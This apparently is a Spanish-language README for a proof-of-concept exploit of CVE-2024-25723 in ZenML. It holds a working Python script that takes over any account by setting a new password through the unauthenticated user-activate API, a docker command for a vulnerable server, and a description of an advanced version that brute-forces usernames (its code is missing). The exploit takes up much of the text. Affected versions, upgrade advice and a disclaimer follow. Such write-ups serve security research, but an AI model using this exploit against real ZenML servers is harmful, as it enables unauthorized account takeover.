
Exploit educativo de prueba de concepto para CVE-2024-25723, que demuestra la toma de control de cuenta no autorizada en ZenML mediante restablecimiento de contraseña de API, con detección de versión y enumeración de nombres de usuario por fuerza bruta.
Este repositorio está dedicado a abordar CVE-2024-25723, una vulnerabilidad de seguridad crítica en ZenML, con un Prueba de Concepto (PoC) educativa proporcionada para ilustrar el problema y fomentar una mitigación rápida. El PoC demuestra cómo un usuario no autorizado podría explotar la vulnerabilidad para tomar posesión de cualquier cuenta de ZenML.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
La diferencia entre el PoC y el exploit avanzado es que el exploit avanzado realiza fuerza bruta en los nombres de usuario más utilizados y también es capaz de detectar si la versión es vulnerable o no a través de una API que filtra la versión de ZenML. Para usar el exploit avanzado guarda el siguiente código en un archivo:
El comando para ejecutar este exploit es:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
Todas las versiones de ZenML por debajo de 0.46.7 son vulnerables, con la excepción de las siguientes versiones de parche: (0.44.4, 0.43.1, 0.42.2).
Actualiza a la última versión (0.46.7 o superior) o a una de las versiones parcheadas (0.44.4, 0.43.1, 0.42.2) para mitigar este riesgo.
La Prueba de Concepto (PoC) proporcionada en este repositorio es únicamente con fines educativos y de investigación en seguridad. La información y el código están destinados a ser utilizados por profesionales e investigadores en ciberseguridad para comprender y protegerse contra vulnerabilidades en software y sistemas. Cualquier uso de este PoC, información relacionada o código para atacar objetivos sin consentimiento mutuo previo es ilegal y está estrictamente prohibido.
Al usar este PoC, aceptas que comprendes el impacto potencial de la vulnerabilidad que demuestra y que lo usarás de manera responsable y ética. Los autores de este PoC renuncian a cualquier responsabilidad por cualquier uso indebido de este material o cualquier daño que pueda ocurrir por usar la información y el código proporcionados. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales, nacionales e internacionales aplicables.
Los autores han hecho todo lo posible para garantizar la precisión y fiabilidad de la información proporcionada en este repositorio. Sin embargo, la información se proporciona "tal cual" sin garantía de ningún tipo. Los autores no aceptan ninguna responsabilidad u obligación por la precisión, el contenido, la integridad, la legalidad o la fiabilidad de la información contenida.